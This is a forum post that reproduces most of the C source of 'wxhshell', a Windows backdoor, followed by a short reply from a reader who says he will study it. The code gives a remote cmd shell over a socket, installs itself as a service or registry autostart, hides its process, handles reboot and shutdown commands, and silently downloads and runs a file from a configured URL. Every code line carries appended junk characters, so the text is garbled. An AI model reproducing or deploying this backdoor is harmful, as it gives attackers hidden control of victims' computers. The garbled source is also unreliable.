  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h@5mVTb}i  
  else ;^q@w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u*I=.  
  } Hl,.6 >F?  
  else { `h>a2   
d+1q[,-  
    switch(cmd[0]) { wF +9Iu  
  IA\CBwiLj  
  // 帮助 D;pfogK @  
  case '?': { +bG^SH2ke  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lG\6z"K  
    break; R. sRH/6  
  } ]wH,534  
  // 安装 7X h'VOljB  
  case 'i': { ?R7>xrp5  
    if(Install()) 4,8=0[eRG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~2b4"&  
    else  As&=Pb9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YEL, TU  
    break; wUGSM"~ |  
    } *} pl  
  // 卸载 uM!$`JN  
  case 'r': { 5'JONw'\  
    if(Uninstall()) G:W4<w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #J 1vN]g  
    else HN/ %(y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I7b_dJD;*  
    break; SLzxF uV  
    } O]"3o,/]G  
  // 显示 wxhshell 所在路径 8oM]gW;J~  
  case 'p': { Q\pTyNAYn  
    char svExeFile[MAX_PATH]; i+x$Y)=  
    strcpy(svExeFile,"\n\r"); N7S?m@  
      strcat(svExeFile,ExeFile); %\5 wHT+)  
        send(wsh,svExeFile,strlen(svExeFile),0); [D8u.8q  
    break; CdxEY  
    } sFd"VRAV~E  
  // 重启 AqPE.mf  
  case 'b': { f}jo18z%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2E V M*^A  
    if(Boot(REBOOT)) aq'd C=y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PNm WZW*  
    else { F\' ^DtB  
    closesocket(wsh); O}4(v#  
    ExitThread(0); jwm2ZJW  
    } t<_Jx<{2  
    break; h5+qP"n!?q  
    } u/`jb2eEU:  
  // 关机 1`t4wD$/  
  case 'd': {  $D`~X`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G#V}9l8 Q  
    if(Boot(SHUTDOWN)) Kd 2?9gaw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *?;<buJb?  
    else { Y)?dq(  
    closesocket(wsh); L@ ,-V  
    ExitThread(0); 0((3q'[ <  
    } 3|$>2IRq  
    break; 5hNjJqu  
    } xM ]IU <  
  // 获取shell RR2Q  
  case 's': { 0_Gi1)  
    CmdShell(wsh); 68m (%%E@  
    closesocket(wsh); \/rK0|2A  
    ExitThread(0); Y2&>;ym!  
    break; Au+SCj  
  } w28!Yj1Q  
  // 退出 U) tqo_  
  case 'x': { s|7(VUPL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'r KDw06/  
    CloseIt(wsh); |aH;@V  
    break; "=cWcztiP  
    } @"M%ZnFu  
  // 离开 d/Q}I[J.u  
  case 'q': { ~7Ji+AJA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8&15k A  
    closesocket(wsh); Z]$RO  
    WSACleanup(); 1WGcv O)<  
    exit(1); n@pm5f  
    break; I]qml2  
        } 3"2 8=)o  
  } hFORs.L&G  
  } mQRQ2SN6  
W"9?D  
  // 提示信息 e:9CD-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )9~1XiS,  
} "Aw| 7XII  
  } 7aH E:Dnwp  
tw. 2h'D  
  return; Dq/ _#&S  
} s : c  
SK2nxZOH  
// shell模块句柄 [aM_.[bf  
int CmdShell(SOCKET sock) =}S*]Me5  
{ jEQr{X7bEL  
STARTUPINFO si; "y R56`=  
ZeroMemory(&si,sizeof(si)); &KfRZ`9H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PV?XpT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \>0F{-cR$  
PROCESS_INFORMATION ProcessInfo; }s;W{Q  
char cmdline[]="cmd"; 3VJoH4E!6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZyE2=w7n  
  return 0; bP;cDQ(g  
} 0{ov LzW  
O=os ,'"  
// 自身启动模式 "65@8xt==  
int StartFromService(void) 5.J$0wK'6  
{ du2q6"  
typedef struct S5:`fo^5  
{ VFN\ Ryd  
  DWORD ExitStatus; 1Yt;1k'  
  DWORD PebBaseAddress; }{*((@GY}  
  DWORD AffinityMask; E.v~<[g  
  DWORD BasePriority; ;I'pC?!y  
  ULONG UniqueProcessId; 9wLV\>i  
  ULONG InheritedFromUniqueProcessId; 4]$cf:  
}   PROCESS_BASIC_INFORMATION; =re1xR!E5  
;EP]A3  
PROCNTQSIP NtQueryInformationProcess; D$k40Mz  
zuOx@T^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZOl =zn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zR)|%[sWwQ  
Ou IoO  
  HANDLE             hProcess; dbGW`_zQ4  
  PROCESS_BASIC_INFORMATION pbi; Mf0g)X}1  
 eWO^n>Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gvYib`#  
  if(NULL == hInst ) return 0; |RQ19m@  
E^S[8=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d )|{iUcW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 't=\YFQ*v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zECdj'/  
a pqzf  
  if (!NtQueryInformationProcess) return 0; T{M~*5$  
5,!,mor$]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *a Y`[,4#$  
  if(!hProcess) return 0; uAT01ZEm  
(x9d7$2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #ej^K |Qx  
za7h.yK}  
  CloseHandle(hProcess); ;J pdnV  
.E|Hk,c9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yEUFK  
if(hProcess==NULL) return 0; -!(  
!]Z> T5$  
HMODULE hMod; S1^u/$*6  
char procName[255]; #=R)s0j"  
unsigned long cbNeeded; <Ft6d  
^GdU$%aa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }NPF]P;  
We3*WsX\  
  CloseHandle(hProcess); GqhnE>  
Nd/iMV6V;  
if(strstr(procName,"services")) return 1; // 以服务启动 ?iG}Qj@5  
SV.\B  
  return 0; // 注册表启动 POTW+Zq]  
} |E-0P=h  
w[PWJ! <  
// 主模块 xd8UdQ, lt  
int StartWxhshell(LPSTR lpCmdLine) =9n$ at$l@  
{ L'4ob4r{L  
  SOCKET wsl; &NV[)6!  
BOOL val=TRUE; (5?5? <  
  int port=0; Okca6=2"  
  struct sockaddr_in door; (A?{6  
0~RsdQGqC  
  if(wscfg.ws_autoins) Install(); U7J0&  
KC o<%  
port=atoi(lpCmdLine); Y-&r_s_~  
>%+ "-bY  
if(port<=0) port=wscfg.ws_port; ]aq!@rDX  
wJh|$Vn  
  WSADATA data; sd\>|N?'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W<TW6_*e  
+4ax~fuU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zLXmjrC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %JDG aG'  
  door.sin_family = AF_INET;  Q^/5hA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]9)pFL  
  door.sin_port = htons(port); "!XeK|Wi  
tA$,4B?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PRl\W:_t  
closesocket(wsl); k|-`d  
return 1; Ld? tVi  
} VB*N;bM^  
8):I< }s#  
  if(listen(wsl,2) == INVALID_SOCKET) { {6)fZpd)@  
closesocket(wsl); +V1EqC*  
return 1; *x[B g]/  
} CmRn  
  Wxhshell(wsl); W5(t+$L.  
  WSACleanup(); B{a:cz>0<  
MQE=8\  
return 0; :gY$/1SYD  
WKX5Dl  
} KgVit+4u/  
rwFR5  
// 以NT服务方式启动 8+ eZU<\B(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @8Drhx  
{ j>eL&.d  
DWORD   status = 0; #h ;j2  
  DWORD   specificError = 0xfffffff; u#%Ig3  
c a_N76o!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F}0QocD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %cO;{og M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [6 wI22  
  serviceStatus.dwWin32ExitCode     = 0; [Z,A quCU(  
  serviceStatus.dwServiceSpecificExitCode = 0; MjE.pb  
  serviceStatus.dwCheckPoint       = 0; _baqN!N  
  serviceStatus.dwWaitHint       = 0; EVNTn`J_  
H#k"[eZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9~zh]deH  
  if (hServiceStatusHandle==0) return; 8_>\A= E  
v6oPAqj,r  
status = GetLastError(); <?52Svi}}  
  if (status!=NO_ERROR) T;GBZR%  
{ J=*y>Zt-b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  vi4 1`  
    serviceStatus.dwCheckPoint       = 0; Y:^ =jV7  
    serviceStatus.dwWaitHint       = 0; seHwn'Jn  
    serviceStatus.dwWin32ExitCode     = status; vKAHf;1  
    serviceStatus.dwServiceSpecificExitCode = specificError; k(=\& T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f Otrn  
    return; 10}oaL S  
  } qS&PMQ"$  
vc6UA%/f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "x9xJ  
  serviceStatus.dwCheckPoint       = 0; *IGxa  
  serviceStatus.dwWaitHint       = 0; T_Z@uZom.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Sx;zvc  
} R|V<2  
KyXgw  
// 处理NT服务事件,比如:启动、停止 2@08 V|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H4l:L(!D  
{  3mWo`l  
switch(fdwControl) TzPx4L6?  
{ zIF &ZYP  
case SERVICE_CONTROL_STOP: *Q!b%DIa$  
  serviceStatus.dwWin32ExitCode = 0; :N8D1e-a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]~WP;o  
  serviceStatus.dwCheckPoint   = 0; Z;%  
  serviceStatus.dwWaitHint     = 0; &@dMk4BH<  
  { [2i+f <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %T'?7^\>  
  } ^l$(-#'y  
  return; H7Y}qP5X  
case SERVICE_CONTROL_PAUSE: {!N4|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LvWU %?  
  break; %M}zi'qQ?  
case SERVICE_CONTROL_CONTINUE: Ub3,x~V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `yQHPN0/  
  break; ~%#?;hJ  
case SERVICE_CONTROL_INTERROGATE: d[~c-G6  
  break; 7e8hnTzl8<  
}; <(f4#B P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _'I9rGlx3  
} ~%<PEl|  
N->;q^  
// 标准应用程序主函数 YvYavd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uXhp+q\  
{ ~B=\![  
*s%s|/  
// 获取操作系统版本 @=;6:akz`  
OsIsNt=GetOsVer(); dH`a|SVW9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1c}'o*K_%  
SbGp  
  // 从命令行安装 aLsGden|  
  if(strpbrk(lpCmdLine,"iI")) Install(); (XW#,=rYk  
wSAm[.1i  
  // 下载执行文件 Ey6K@@%  
if(wscfg.ws_downexe) { W2<X 5'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PN.6BJvu  
  WinExec(wscfg.ws_filenam,SW_HIDE); wz, \zh  
} IcQ?^9%{  
PH7L#H^  
if(!OsIsNt) { ze 4/XR  
// 如果时win9x,隐藏进程并且设置为注册表启动 5vpf;  
HideProc(); #t/Q4X +  
StartWxhshell(lpCmdLine); #-@{rgH  
} iF%q 6R  
else TWs|lhC7!  
  if(StartFromService()) "|Pl(HX  
  // 以服务方式启动 `Ch6"= t  
  StartServiceCtrlDispatcher(DispatchTable); 3% P?1s  
else Z ZiS$&NK8  
  // 普通方式启动 w+MdQ@'5  
  StartWxhshell(lpCmdLine); b~Ruhi[E  
z)0VP QMT  
return 0; q@\_q!  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八